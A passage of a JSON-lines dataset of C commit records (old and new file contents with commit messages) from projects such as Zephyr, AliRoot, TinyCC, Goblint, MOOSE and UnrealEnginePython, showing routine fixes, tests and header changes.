BOOST_DISABLE_THREADS\n#endif\n\n#ifdef _MSC_VER\n# pragma warning(push)\n# pragma warning(disable:4458)\n# pragma warning(disable:4459)\n# pragma warning(disable:4456)\n#endif\n\n#include <boost\/xpressive\/xpressive.hpp>\n\n#ifdef _MSC_VER\n# pragma warning(pop)\n#endif\n\n#include <stdio.h>\n#include <math.h>\n#include <float.h>\n#include <limits.h>\n#include <string.h>\n#include <stdlib.h>\n#include <string>\n#include <list>\n#include <map>\n#include <set>\n\n#include <Cg\/cg.h>\n#include <Cg\/cgGL.h>\n","subject":"Disable some compiler warnings on the boost library.","message":"Disable some compiler warnings on the boost library.\n","lang":"C","license":"mit","repos":"sanyaade-teachings\/turbulenz_engine,turbulenz\/turbulenz_engine,changemypath\/turbulenz_engine,turbulenz\/turbulenz_engine,supriyantomaftuh\/turbulenz_engine,tianyutingxy\/turbulenz_engine,supriyantomaftuh\/turbulenz_engine,turbulenz\/turbulenz_engine,tianyutingxy\/turbulenz_engine,sanyaade-teachings\/turbulenz_engine,supriyantomaftuh\/turbulenz_engine,turbulenz\/turbulenz_engine,turbulenz\/turbulenz_engine,changemypath\/turbulenz_engine,tianyutingxy\/turbulenz_engine,changemypath\/turbulenz_engine,tianyutingxy\/turbulenz_engine,supriyantomaftuh\/turbulenz_engine,sanyaade-teachings\/turbulenz_engine,changemypath\/turbulenz_engine,sanyaade-teachings\/turbulenz_engine,tianyutingxy\/turbulenz_engine,changemypath\/turbulenz_engine,sanyaade-teachings\/turbulenz_engine,supriyantomaftuh\/turbulenz_engine"}
{"commit":"27d40160f8b2ab19ff6114d4598ff21d972b2fb5","old_file":"Week9_VecAddition_With_OpenACC\/main.c","new_file":"Week9_VecAddition_With_OpenACC\/main.c","old_contents":"","new_contents":"#include <wb.h>\n\nint main(int argc, char** argv) {\n    wbArg_t args;\n    int inputLength;\n    float* h_A;\n    float* h_B;\n    float* h_O;\n\n    args = wbArg_read(argc, argv);\n\n    wbTime_start(Generic, \"Importing data and creating memory on host\");\n    h_A = (float*)wbImport(wbArg_getInputFile(args, 0), &inputLength);\n    h_B = (float*)wbImport(wbArg_getInputFile(args, 1), &inputLength);\n    h_O = (float*)malloc(inputLength * sizeof(float));\n    wbTime_stop(Generic, \"Importing data and creating memory on host\");\n\n    wbLog(TRACE, \"The input length is \", inputLength);\n\n    wbTime_start(GPU, \"Computing data on the GPU\");\n\n    int workers = 256;\n\n    #pragma acc parallel copyin(h_A[0 : inputLength], h_B[0 : inputLength]), copyout(h_O[0 : inputLength]), num_workers(workers)\n    {\n        #pragma acc loop worker\n        int i;\n        for (i = 0; i < inputLength; i++) {\n            h_O[i] = h_A[i] + h_B[i];\n        }\n    }\n\n    wbTime_stop(GPU, \"Computing data on the GPU\");\n    wbSolution(args, h_O, inputLength);\n\n    free(h_A);\n    free(h_B);\n    free(h_O);\n\n    return 0;\n}\n","subject":"Solve Vector Addition using OpenACC","message":"Solve Vector Addition using OpenACC\n","lang":"C","license":"mit","repos":"NikolayGenov\/Heterogeneous-Parallel-Programming-Coursera"}
{"commit":"13bf01fe2ca0f9274e4cf166ae59a79e3b9b7af4","old_file":"HLT\/PHOS\/AliHLTPHOSDataHeaderStruct.h","new_file":"HLT\/PHOS\/AliHLTPHOSDataHeaderStruct.h","old_contents":"","new_contents":"#ifndef ALIHLTPHOSDATAHEADERSTRUCT_H\n#define ALIHLTPHOSDATAHEADERSTRUCT_H\n\n#include \"AliHLTDataTypes.h\"\n\nstruct AliHLTPHOSDataHeaderStruct\n{\n  AliHLTUInt32_t fSize;              \/**<Total size of datablock in bytes, incuding the header*\/\n  AliHLTComponentDataType fDataType; \/**<Data type stored in this file *\/\n  AliHLTUInt32_t fEventID;           \/**<The HLT internal event ID for this event *\/\n  AliHLTUInt32_t fAlgorithm;         \/**<Wich algorithm was uses estimate cellenergies*\/\n  AliHLTUInt32_t fFormatVersion;     \/**<Header format version, currently 1*\/\n  AliHLTUInt32_t fFutureUse0;\n  AliHLTUInt32_t fFutureUse1;\n  AliHLTUInt32_t fFutureUse2;\n};\n\n\n#endif\n","subject":"Structure to hold header information for dat that should be written to file.","message":"Structure to hold header information for dat that should be written to file.\n\n","lang":"C","license":"bsd-3-clause","repos":"miranov25\/AliRoot,ecalvovi\/AliRoot,coppedis\/AliRoot,ecalvovi\/AliRoot,miranov25\/AliRoot,coppedis\/AliRoot,sebaleh\/AliRoot,alisw\/AliRoot,jgrosseo\/AliRoot,miranov25\/AliRoot,ecalvovi\/AliRoot,ALICEHLT\/AliRoot,ecalvovi\/AliRoot,alisw\/AliRoot,ALICEHLT\/AliRoot,miranov25\/AliRoot,shahor02\/AliRoot,alisw\/AliRoot,coppedis\/AliRoot,ecalvovi\/AliRoot,mkrzewic\/AliRoot,alisw\/AliRoot,sebaleh\/AliRoot,alisw\/AliRoot,sebaleh\/AliRoot,miranov25\/AliRoot,alisw\/AliRoot,mkrzewic\/AliRoot,alisw\/AliRoot,mkrzewic\/AliRoot,jgrosseo\/AliRoot,mkrzewic\/AliRoot,ALICEHLT\/AliRoot,coppedis\/AliRoot,mkrzewic\/AliRoot,shahor02\/AliRoot,ALICEHLT\/AliRoot,ALICEHLT\/AliRoot,sebaleh\/AliRoot,shahor02\/AliRoot,shahor02\/AliRoot,ALICEHLT\/AliRoot,coppedis\/AliRoot,shahor02\/AliRoot,jgrosseo\/AliRoot,shahor02\/AliRoot,ecalvovi\/AliRoot,miranov25\/AliRoot,jgrosseo\/AliRoot,sebaleh\/AliRoot,sebaleh\/AliRoot,coppedis\/AliRoot,ecalvovi\/AliRoot,coppedis\/AliRoot,jgrosseo\/AliRoot,coppedis\/AliRoot,jgrosseo\/AliRoot,miranov25\/AliRoot,sebaleh\/AliRoot,jgrosseo\/AliRoot,miranov25\/AliRoot,alisw\/AliRoot,mkrzewic\/AliRoot,shahor02\/AliRoot,mkrzewic\/AliRoot,ALICEHLT\/AliRoot"}
{"commit":"c55c188e68975e57534a26cc75a823951169db08","old_file":"drivers\/sensor\/vl53l0x\/vl53l0x_types.h","new_file":"drivers\/sensor\/vl53l0x\/vl53l0x_types.h","old_contents":"\/* vl53l0x_types.h - Zephyr customization of ST vl53l0x library,\n * basic type definition.\n *\/\n\n\/*\n * Copyright (c) 2017 STMicroelectronics\n *\n * SPDX-License-Identifier: Apache-2.0\n *\/\n\n#ifndef ZEPHYR_DRIVERS_SENSOR_VL53L0X_VL53L0X_TYPES_H_\n#define ZEPHYR_DRIVERS_SENSOR_VL53L0X_VL53L0X_TYPES_H_\n\n\n\/* Zephyr provides stdint.h and stddef.h, so this is enough to include it.\n * If it was not the case, we would defined here all signed and unsigned\n * basic types...\n *\/\n#include <stdint.h>\n#include <stddef.h>\n\n#ifndef NULL\n#error \"Error NULL definition should be done. Please add required include \"\n#endif\n\n#if !defined(STDINT_H) && !defined(_GCC_STDINT_H) && !defined(__STDINT_DECLS) \\\n\t&& !defined(_GCC_WRAP_STDINT_H) && !defined(_STDINT_H)                \\\n\t&& !defined(__INC_stdint_h__)\n #pragma message(\"Review type definition of STDINT define for your platform\")\n#endif \/* _STDINT_H *\/\n\n\/** use where fractional values are expected\n *\n * Given a floating point value f it's .16 bit point is (int)(f*(1<<16))\n *\/\ntypedef uint32_t FixPoint1616_t;\n\n#endif \/* ZEPHYR_DRIVERS_SENSOR_VL53L0X_VL53L0X_TYPES_H_ *\/\n","new_contents":"\/* vl53l0x_types.h - Zephyr customization of ST vl53l0x library,\n * basic type definition.\n *\/\n\n\/*\n * Copyright (c) 2017 STMicroelectronics\n *\n * SPDX-License-Identifier: Apache-2.0\n *\/\n\n#ifndef ZEPHYR_DRIVERS_SENSOR_VL53L0X_VL53L0X_TYPES_H_\n#define ZEPHYR_DRIVERS_SENSOR_VL53L0X_VL53L0X_TYPES_H_\n\n\n\/* Zephyr provides stdint.h and stddef.h, so this is enough to include it.\n * If it was not the case, we would defined here all signed and unsigned\n * basic types...\n *\/\n#include <stdint.h>\n#include <stddef.h>\n\n#ifndef NULL\n#error \"Error NULL definition should be done. Please add required include \"\n#endif\n\n\/** use where fractional values are expected\n *\n * Given a floating point value f it's .16 bit point is (int)(f*(1<<16))\n *\/\ntypedef uint32_t FixPoint1616_t;\n\n#endif \/* ZEPHYR_DRIVERS_SENSOR_VL53L0X_VL53L0X_TYPES_H_ *\/\n","subject":"Remove unnecessary lib include check","message":"drivers\/sensor\/vl53l0x: Remove unnecessary lib include check\n\nvl53l0x driver is using an external library to build, located under:\next\/hal\/st\/lib\/sensor\/vl53l0x.\nThis library is expecting stdint.h lib to be available and to\nsecure this for driver library inclusion work, a stdint.h file\nheader check was done. This check was based on assumptions on possible\nheader names for stdint.h.\nDue to recent renaming of the zephyr header files, this check was\nreturning a false positive, generating warning at compilation.\n\nRather than updated with new header names, remove this check, since\ndriver porting is completed and stdint.h inclusion is actually\ndone.\n\nFixes #10134\n\nSigned-off-by: Erwan Gouriou <de4d967452b83bb0e37525652734e7d9163b6a4c@linaro.org>\n","lang":"C","license":"apache-2.0","repos":"galak\/zephyr,ldts\/zephyr,nashif\/zephyr,Vudentz\/zephyr,finikorg\/zephyr,GiulianoFranchetto\/zephyr,GiulianoFranchetto\/zephyr,finikorg\/zephyr,Vudentz\/zephyr,galak\/zephyr,zephyrproject-rtos\/zephyr,nashif\/zephyr,nashif\/zephyr,finikorg\/zephyr,GiulianoFranchetto\/zephyr,ldts\/zephyr,Vudentz\/zephyr,Vudentz\/zephyr,GiulianoFranchetto\/zephyr,Vudentz\/zephyr,galak\/zephyr,galak\/zephyr,GiulianoFranchetto\/zephyr,zephyrproject-rtos\/zephyr,nashif\/zephyr,zephyrproject-rtos\/zephyr,ldts\/zephyr,ldts\/zephyr,ldts\/zephyr,galak\/zephyr,zephyrproject-rtos\/zephyr,finikorg\/zephyr,finikorg\/zephyr,zephyrproject-rtos\/zephyr,nashif\/zephyr,Vudentz\/zephyr"}
{"commit":"0a5ffd4b837b57412f4943b9d62ce2d109315db3","old_file":"You-QueryEngine\/api.h","new_file":"You-QueryEngine\/api.h","old_contents":"\/\/\/ \\file api.h\n\/\/\/ Defines the API for Query Engine.\n\/\/\/ \\author A0112054Y\n\n#pragma once\n#ifndef YOU_QUERYENGINE_API_H_\n#define YOU_QUERYENGINE_API_H_\n\n#include <memory>\n#include <boost\/variant.hpp>\n#include \"task_model.h\"\n\nnamespace You {\nnamespace QueryEngine {\n\n\/\/\/ A synthesized type for holding query responses\ntypedef boost::variant <\n\t std::vector<Task>,\n\t Task,\n\t Task::ID,\n\t Task::Time,\n\t Task::Dependencies,\n\t Task::Description\n\t> Response;\n\n\/\/\/ Base class for all queries.\nclass Query {\n\tfriend Response executeQuery(std::unique_ptr<Query> query);\nprivate:\n\t\/\/\/ Execute the query.\n\tvirtual Response execute() = 0;\n};\n\n\/\/\/ \\name Query Constructors\n\/\/\/ @{\n\/\/\/ Construct a query for adding a task\n\/\/\/ \\note Please use Task::DEFAULT_xxx to replace incomplete fields.\nstd::unique_ptr<Query>\nAddTask(Task::Description description, Task::Time deadline,\nTask::Priority priority, Task::Dependencies dependencies);\n\/\/\/ @}\n\n\/\/\/ Execute a query and return a response\n\/\/\/ \\return The result of the query as a response object.\nResponse executeQuery(std::unique_ptr<Query> query);\n\n}  \/\/ namespace QueryEngine\n}  \/\/ namespace You\n\n#endif  \/\/ YOU_QUERYENGINE_API_H_\n","new_contents":"\/\/\/ \\file api.h\n\/\/\/ Defines the API for Query Engine.\n\/\/\/ \\author A0112054Y\n\n#pragma once\n#ifndef YOU_QUERYENGINE_API_H_\n#define YOU_QUERYENGINE_API_H_\n\n#include <memory>\n#include <boost\/variant.hpp>\n#include \"task_model.h\"\n\nnamespace You {\nnamespace QueryEngine {\n\n\/\/\/ A synthesized type for holding query responses\ntypedef boost::variant <\n\t std::vector<Task>,\n\t Task,\n\t Task::ID,\n\t Task::Time,\n\t Task::Dependencies,\n\t Task::Description\n\t> Response;\n\n\/\/\/ Base class for all queries.\nclass Query {\n\tfriend Response executeQuery(std::unique_ptr<Query> query);\nprivate:\n\t\/\/\/ Execute the query.\n\tvirtual Response execute() = 0;\n};\n\n\/\/\/ \\name Query Constructors\n\/\/\/ @{\n\/\/\/ Construct a query for adding a task\n\/\/\/ \\note Please use Task::DEFAULT_xxx to replace incomplete fields.\nstd::unique_ptr<Query>\nAddTask(Task::Description description, Task::Time deadline,\nTask::Priority priority, Task::Dependencies dependencies);\n\nstd::unique_ptr<Query>\nFilterTask(const std::function<bool(Task)>& filter);\n\n\/\/\/ @}\n\n\/\/\/ Execute a query and return a response\n\/\/\/ \\return The result of the query as a response object.\nResponse executeQuery(std::unique_ptr<Query> query);\n\n}  \/\/ namespace QueryEngine\n}  \/\/ namespace You\n\n#endif  \/\/ YOU_QUERYENGINE_API_H_\n","subject":"Add filter stub in header","message":"Add filter stub in header\n","lang":"C","license":"mit","repos":"cs2103aug2014-w10-1c\/main,cs2103aug2014-w10-1c\/main"}
{"commit":"e6083cb7179c23930dc8aad4d05e05d410ed2dcd","old_file":"alice4\/software\/libgl\/event_service.h","new_file":"alice4\/software\/libgl\/event_service.h","old_contents":"#ifndef __EVENT_SERVICE_H__\n#define __EVENT_SERVICE_H__\n\n#include \"basic_types.h\"\n\nint32_t events_winopen(char *title);\n\nint32_t events_get_valuator(int32_t device);\nvoid events_qdevice(int32_t device);\nint32_t events_qread_start(int blocking);\nint32_t events_qread_continue(int16_t *value);\nvoid events_tie(int32_t button, int32_t val1, int32_t val2);\n\n#endif \/* __EVENT_SERVICE_H__ *\/:w\n","new_contents":"#ifndef __EVENT_SERVICE_H__\n#define __EVENT_SERVICE_H__\n\n#include \"basic_types.h\"\n\nint32_t events_winopen(char *title);\n\nint32_t events_get_valuator(int32_t device);\nvoid events_qdevice(int32_t device);\nint32_t events_qread_start(int blocking);\nint32_t events_qread_continue(int16_t *value);\nvoid events_tie(int32_t button, int32_t val1, int32_t val2);\n\n#endif \/* __EVENT_SERVICE_H__ *\/\n","subject":"Remove vi schmutz at EOF","message":"Remove vi schmutz at EOF\n","lang":"C","license":"apache-2.0","repos":"lkesteloot\/alice,lkesteloot\/alice,lkesteloot\/alice,lkesteloot\/alice,lkesteloot\/alice,lkesteloot\/alice"}
{"commit":"dcdb76edb97d03a550f014c653c0cc1155fe9154","old_file":"src\/runtime\/encore\/encore.c","new_file":"src\/runtime\/encore\/encore.c","old_contents":"#include <pony\/pony.h>\n#include \"encore.h\"\n\nencore_actor_t *encore_create(encore_create_t *type)\n{\n  return pony_create(type);\n}\n\n\/\/\/ Allocate s bytes of memory, zeroed out\nvoid *encore_alloc(size_t *s)\n{\n  void *mem = pony_alloc(s);\n  memset(mem, 0, s);\n\n  return mem;\n}\n\n\/\/\/ The starting point of all Encore programs\nint encore_start(int argc, char** argv, encore_actor_t *type)\n{\n  argc = pony_init(argc, argv);\n  pony_actor_t* actor = encore_create(type);\n  pony_sendargs(actor, _ENC__MSG_MAIN, argc, argv);\n\n  return pony_start(PONY_DONT_WAIT);\n}\n\n","new_contents":"#include <pony\/pony.h>\n#include \"encore.h\"\n\nencore_actor_t *encore_create(encore_actor_t *type)\n{\n  return pony_create(type);\n}\n\n\/\/\/ Allocate s bytes of memory, zeroed out\nvoid *encore_alloc(size_t *s)\n{\n  void *mem = pony_alloc(s);\n  memset(mem, 0, s);\n\n  return mem;\n}\n\n\/\/\/ The starting point of all Encore programs\nint encore_start(int argc, char** argv, encore_actor_t *type)\n{\n  argc = pony_init(argc, argv);\n  pony_actor_t* actor = encore_create(type);\n  pony_sendargs(actor, _ENC__MSG_MAIN, argc, argv);\n\n  return pony_start(PONY_DONT_WAIT);\n}\n\n","subject":"Fix also applied to corresponding C file","message":"Fix also applied to corresponding C file\n","lang":"C","license":"bsd-3-clause","repos":"parapluu\/encore,parapluu\/encore,parapluu\/encore"}
{"commit":"dc0793d87ef92e645f8414d12cbdb56b759126a2","old_file":"tests\/regression\/27-inv_invariants\/10-invariant-worsen-global.c","new_file":"tests\/regression\/27-inv_invariants\/10-invariant-worsen-global.c","old_contents":"","new_contents":"\/\/ modified from 27\/09\n#include <assert.h>\n#include <pthread.h>\n\nint a = 1;\nint b = 1;\n\npthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER;\n\nvoid* t_fun(void *arg) {\n  return NULL;\n}\n\nint main() {\n  int *x;\n  int rnd;\n\n  if (rnd)\n    x = &a;\n  else\n    x = &b;\n\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, NULL); \/\/ go multithreaded\n\n  pthread_mutex_lock(&A); \/\/ continue with protected (privatized) values\n\n  assert(*x == 1);\n  b = 2;\n\n  assert(a == 1);\n  if (*x != 0) { \/\/ TODO: invariant makes less precise!\n    assert(a == 1); \/\/ TODO\n  }\n  return 0;\n}","subject":"Add invariant precision worsening test for globals","message":"Add invariant precision worsening test for globals\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"d782e8b30435413a9f0eeffc6eb38980e4c03bda","old_file":"src\/rx5808-pro-diversity\/receiver.h","new_file":"src\/rx5808-pro-diversity\/receiver.h","old_contents":"#ifndef RECEIVER_H\n#define RECEIVER_H\n\n\n#include <stdint.h>\n#include \"settings.h\"\n\n\n#define RECEIVER_A 0\n#ifdef USE_DIVERSITY\n  #define RECEIVER_B 1\n  #define RECEIVER_AUTO 2\n\n  #define DIVERSITY_AUTO 0\n  #define DIVERSITY_FORCE_A 1\n  #define DIVERSITY_FORCE_B 2\n#endif\n\n#define RECEIVER_LAST_DELAY 100\n#define RECEIVER_LAST_DATA_SIZE 16\n\n\nnamespace Receiver {\n    extern uint8_t activeReceiver;\n    extern uint8_t activeChannel;\n\n    extern uint8_t rssiA;\n    extern uint16_t rssiARaw;\n    extern uint8_t rssiALast[RECEIVER_LAST_DATA_SIZE];\n    #ifdef USE_DIVERSITY\n        extern uint8_t rssiB;\n        extern uint16_t rssiBRaw;\n        extern uint8_t rssiBLast[RECEIVER_LAST_DATA_SIZE];\n    #endif\n\n    void setChannel(uint8_t channel);\n    void waitForStableRssi();\n    uint16_t updateRssi();\n    void setActiveReceiver(uint8_t receiver = RECEIVER_A);\n    #ifdef USE_DIVERSITY\n        void setDiversityMode(uint8_t mode);\n        void switchDiversity();\n    #endif\n\n    void setup();\n    void update();\n}\n\n\n#endif\n","new_contents":"#ifndef RECEIVER_H\n#define RECEIVER_H\n\n\n#include <stdint.h>\n#include \"settings.h\"\n\n\n#define RECEIVER_A 0\n#ifdef USE_DIVERSITY\n  #define RECEIVER_B 1\n  #define RECEIVER_AUTO 2\n\n  #define DIVERSITY_AUTO 0\n  #define DIVERSITY_FORCE_A 1\n  #define DIVERSITY_FORCE_B 2\n#endif\n\n#define RECEIVER_LAST_DELAY 50\n#define RECEIVER_LAST_DATA_SIZE 24\n\n\nnamespace Receiver {\n    extern uint8_t activeReceiver;\n    extern uint8_t activeChannel;\n\n    extern uint8_t rssiA;\n    extern uint16_t rssiARaw;\n    extern uint8_t rssiALast[RECEIVER_LAST_DATA_SIZE];\n    #ifdef USE_DIVERSITY\n        extern uint8_t rssiB;\n        extern uint16_t rssiBRaw;\n        extern uint8_t rssiBLast[RECEIVER_LAST_DATA_SIZE];\n    #endif\n\n    void setChannel(uint8_t channel);\n    void waitForStableRssi();\n    uint16_t updateRssi();\n    void setActiveReceiver(uint8_t receiver = RECEIVER_A);\n    #ifdef USE_DIVERSITY\n        void setDiversityMode(uint8_t mode);\n        void switchDiversity();\n    #endif\n\n    void setup();\n    void update();\n}\n\n\n#endif\n","subject":"Tweak RSSI tracking speed\/count for better graphs","message":"Tweak RSSI tracking speed\/count for better graphs\n","lang":"C","license":"mit","repos":"RCDaddy\/rx5808-pro-diversity,sheaivey\/rx5808-pro-diversity,RCDaddy\/rx5808-pro-diversity,sheaivey\/rx5808-pro-diversity"}
{"commit":"f11eea1a4cf69c94a0995d2912b934f8d214557b","old_file":"serialization_unique_ptr.h","new_file":"serialization_unique_ptr.h","old_contents":"","new_contents":"#include <boost\/serialization\/version.hpp>\n#include <memory>\n\nnamespace boost {\nnamespace serialization {\n\ntemplate<class Archive, class T>\ninline void save(Archive& ar, const std::unique_ptr<T>& t, const unsigned int){\n    \/\/ only the raw pointer has to be saved\n    const T* const tx = t.get();\n    ar << tx;\n}\n\ntemplate<class Archive, class T>\ninline void load(Archive& ar, std::unique_ptr<T>& t, const unsigned int){\n    T* pTarget;\n    ar >> pTarget;\n\n    #if BOOST_WORKAROUND(BOOST_DINKUMWARE_STDLIB, == 1)\n        t.release();\n        t = std::unique_ptr< T >(pTarget);\n    #else\n        t.reset(pTarget);\n    #endif\n}\n\ntemplate<class Archive, class T>\ninline void serialize(Archive& ar, std::unique_ptr<T>& t,\n        const unsigned int file_version){\n    boost::serialization::split_free(ar, t, file_version);\n}\n} \/\/ namespace serialization\n} \/\/ namespace boost\n","subject":"Add function for serialize std::unique_ptr","message":"Add function for serialize std::unique_ptr\n","lang":"C","license":"agpl-3.0","repos":"CanalTP\/utils,pbougue\/utils,xlqian\/utils,CanalTP\/utils"}
{"commit":"3494e5de3a03d021845666f55340d35af44e3bfc","old_file":"tests\/asm-c-connect-1.c","new_file":"tests\/asm-c-connect-1.c","old_contents":"#include <stdio.h>\n\n#if defined _WIN32 && !defined __TINYC__\n# define U \"_\"\n#else\n# define U\n#endif\n\nconst char str[] = \"x1\\n\";\n#ifdef __x86_64__\nasm(U\"x1: push %rbp; mov $\"U\"str, %rdi; call \"U\"printf; pop %rbp; ret\");\n#elif defined (__i386__)\nasm(U\"x1: push $\"U\"str; call \"U\"printf; pop %eax; ret\");\n#endif\n\nint main(int argc, char *argv[])\n{\n    asm(\"call \"U\"x1\");\n    asm(\"call \"U\"x2\");\n    asm(\"call \"U\"x3\");\n    return 0;\n}\n\nstatic\nint x2(void)\n{\n    printf(\"x2\\n\");\n    return 2;\n}\n\nextern int x3(void);\n","new_contents":"#include <stdio.h>\n\n#if defined _WIN32 && !defined __TINYC__\n# define _ \"_\"\n#else\n# define _\n#endif\n\nstatic int x1_c(void)\n{\n    printf(\"x1\\n\");\n    return 1;\n}\n\nasm(\".text;\"_\"x1: call \"_\"x1_c; ret\");\n\nint main(int argc, char *argv[])\n{\n    asm(\"call \"_\"x1\");\n    asm(\"call \"_\"x2\");\n    asm(\"call \"_\"x3\");\n    return 0;\n}\n\nstatic\nint x2(void)\n{\n    printf(\"x2\\n\");\n    return 2;\n}\n\nextern int x3(void);\n","subject":"Adjust asm-c-connect testcase for Windows","message":"Adjust asm-c-connect testcase for Windows\n\nCalling conventions are different, let's use functions without\nany arguments.\n","lang":"C","license":"lgpl-2.1","repos":"mirror\/tinycc,mirror\/tinycc,avih\/tinycc,mirror\/tinycc,mingodad\/tinycc,mingodad\/tinycc,mingodad\/tinycc,mirror\/tinycc,avih\/tinycc,avih\/tinycc,avih\/tinycc,mingodad\/tinycc"}
{"commit":"96430402b3226b71bcec689eb917ac1ec4bf49da","old_file":"test\/include\/auxkernels\/RadialAverageAux.h","new_file":"test\/include\/auxkernels\/RadialAverageAux.h","old_contents":"#pragma once\n\n#include \"AuxKernel.h\"\n#include \"RadialAverage.h\"\n\/**\n * Auxkernel to output the averaged material value from RadialAverage\n *\/\nclass RadialAverageAux : public AuxKernel\n{\npublic:\n  static InputParameters validParams();\n\n  RadialAverageAux(const InputParameters & parameters);\n\nprotected:\n  virtual Real computeValue() override;\n  const RadialAverage::Result & _average;\n  RadialAverage::Result::const_iterator _elem_avg;\n};","new_contents":"#pragma once\n\n#include \"AuxKernel.h\"\n#include \"RadialAverage.h\"\n\/**\n * Auxkernel to output the averaged material value from RadialAverage\n *\/\nclass RadialAverageAux : public AuxKernel\n{\npublic:\n  static InputParameters validParams();\n\n  RadialAverageAux(const InputParameters & parameters);\n\nprotected:\n  virtual Real computeValue() override;\n  const RadialAverage::Result & _average;\n  RadialAverage::Result::const_iterator _elem_avg;\n};\n","subject":"Update to add newline EOF","message":"Update to add newline EOF","lang":"C","license":"lgpl-2.1","repos":"milljm\/moose,milljm\/moose,andrsd\/moose,idaholab\/moose,sapitts\/moose,laagesen\/moose,sapitts\/moose,laagesen\/moose,harterj\/moose,idaholab\/moose,milljm\/moose,idaholab\/moose,harterj\/moose,sapitts\/moose,andrsd\/moose,sapitts\/moose,dschwen\/moose,laagesen\/moose,milljm\/moose,milljm\/moose,dschwen\/moose,harterj\/moose,laagesen\/moose,andrsd\/moose,idaholab\/moose,harterj\/moose,harterj\/moose,dschwen\/moose,andrsd\/moose,idaholab\/moose,andrsd\/moose,dschwen\/moose,laagesen\/moose,dschwen\/moose,sapitts\/moose"}
{"commit":"650a24610c928965816dc0cb1c62f448582e4992","old_file":"tests\/regression\/34-congruence\/01-simple.c","new_file":"tests\/regression\/34-congruence\/01-simple.c","old_contents":"","new_contents":"\/\/PARAM: --enable ana.int.congruence --disable ana.int.def_exc --disable ana.int.enums\n\nint main() {\n\tint a = 1;\n\tint b = 2;\n\tint c = 3;\n\tint d = 4;\n\tint e = 0;\n\n\twhile (d < 9) {\n\t\tb = 2 * a;\n\t\td = d + 4;\n\t\te = e - 4 * a;\n\n\t\ta = b - a;\n\t\tc = e + d;\n\t}\n\n\ta = d \/ 2;\n\tb = d % 2;\n\n\tassert (c == 4); \/\/ UNKNOWN!\n\tassert (d == 12); \/\/ UNKNOWN\n\tassert (a == 6); \/\/ UNKNOWN\n\tassert (b == 0);\n\n\treturn 0;\n}\n","subject":"Add simple regression test for congruence domain","message":"Add simple regression test for congruence domain\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"9132701168fe6836e9e6f713823480c98c3a6d5b","old_file":"RobotC\/Headers\/JoyMecanumDrive.h","new_file":"RobotC\/Headers\/JoyMecanumDrive.h","old_contents":"","new_contents":"#ifndef JOYMECANUMDRIVE_H\n#define JOYMECANUMDRIVE_H\n#pragma systemFile\n\n#include \"Joystick.h\"\n#include \"Motor.h\"\n\n\/\/This function interprets a TJoystick struct and sets desired motor powers.\n\/\/This uses mecanum drive in arcade style.\n\/\/  Left joystick controls strafing and forwards\/backwards\n\/\/  Right joystick (x-axis only) controls rotation\nvoid joymecdriveSetDesiredPowers(TJoystick *joyState) {\n\tmotorSetDesiredSafePower(Motor_Mec_FL, joyState->joy1_y1 + joyState->joy1_x2 + joyState->joy1_x1);\n\tmotorSetDesiredSafePower(Motor_Mec_BL, joyState->joy1_y1 + joyState->joy1_x2 - joyState->joy1_x1);\n\tmotorSetDesiredSafePower(Motor_Mec_BR, joyState->joy1_y1 - joyState->joy1_x2 + joyState->joy1_x1);\n\tmotorSetDesiredSafePower(Motor_Mec_FR, joyState->joy1_y1 - joyState->joy1_x2 - joyState->joy1_x2);\n}\n\n#endif\n","subject":"Implement arcade drive in a new header file","message":"Implement arcade drive in a new header file\n","lang":"C","license":"mit","repos":"RMRobotics\/FTC_5421_2014-2015,RMRobotics\/FTC_5421_2014-2015"}
{"commit":"41ba36ca7801c77f55da0f0180d3a844e4286d80","old_file":"Source\/UnrealEnginePython\/Public\/UnrealEnginePython.h","new_file":"Source\/UnrealEnginePython\/Public\/UnrealEnginePython.h","old_contents":"\/\/ Copyright 1998-2016 Epic Games, Inc. All Rights Reserved.\n\n#pragma once\n\n#include \"ModuleManager.h\"\n\nDECLARE_LOG_CATEGORY_EXTERN(LogPython, Log, All);\n\n\nclass UNREALENGINEPYTHON_API FUnrealEnginePythonModule : public IModuleInterface\n{\npublic:\n\n\tbool PythonGILAcquire();\n\tvoid PythonGILRelease();\n\n\tvirtual void StartupModule() override;\n\tvirtual void ShutdownModule() override;\n\n\tvoid RunString(char *);\n\tvoid RunFile(char *);\n\tvoid RunFileSandboxed(char *);\n\nprivate:\n\tvoid *ue_python_gil;\n\t\/\/ used by console\n\tvoid *main_dict;\n\tvoid *local_dict;\n\tvoid *main_module;\n};\n\nstruct FScopePythonGIL {\n\tFScopePythonGIL()\n\t{\n#if defined(UEPY_THREADING)\n\t\tUnrealEnginePythonModule = FModuleManager::LoadModuleChecked<FUnrealEnginePythonModule>(\"UnrealEnginePython\");\n\t\tsafeForRelease = UnrealEnginePythonModule.PythonGILAcquire();\n#endif\n\t}\n\n\t~FScopePythonGIL()\n\t{\n#if defined(UEPY_THREADING)\n\t\tif (safeForRelease) {\n\t\t\tUnrealEnginePythonModule.PythonGILRelease();\n\t\t}\n#endif\n\t}\n\n\tFUnrealEnginePythonModule UnrealEnginePythonModule;\n\tbool safeForRelease;\n};\n\n\n\n\n","new_contents":"\/\/ Copyright 1998-2016 Epic Games, Inc. All Rights Reserved.\n\n#pragma once\n\n#include \"ModuleManager.h\"\n\nDECLARE_LOG_CATEGORY_EXTERN(LogPython, Log, All);\n\n\nclass UNREALENGINEPYTHON_API FUnrealEnginePythonModule : public IModuleInterface\n{\npublic:\n\n\tbool PythonGILAcquire();\n\tvoid PythonGILRelease();\n\n\tvirtual void StartupModule() override;\n\tvirtual void ShutdownModule() override;\n\n\tvoid RunString(char *);\n\tvoid RunFile(char *);\n\tvoid RunFileSandboxed(char *);\n\nprivate:\n\tvoid *ue_python_gil;\n\t\/\/ used by console\n\tvoid *main_dict;\n\tvoid *local_dict;\n};\n\nstruct FScopePythonGIL {\n\tFScopePythonGIL()\n\t{\n#if defined(UEPY_THREADING)\n\t\tUnrealEnginePythonModule = FModuleManager::LoadModuleChecked<FUnrealEnginePythonModule>(\"UnrealEnginePython\");\n\t\tsafeForRelease = UnrealEnginePythonModule.PythonGILAcquire();\n#endif\n\t}\n\n\t~FScopePythonGIL()\n\t{\n#if 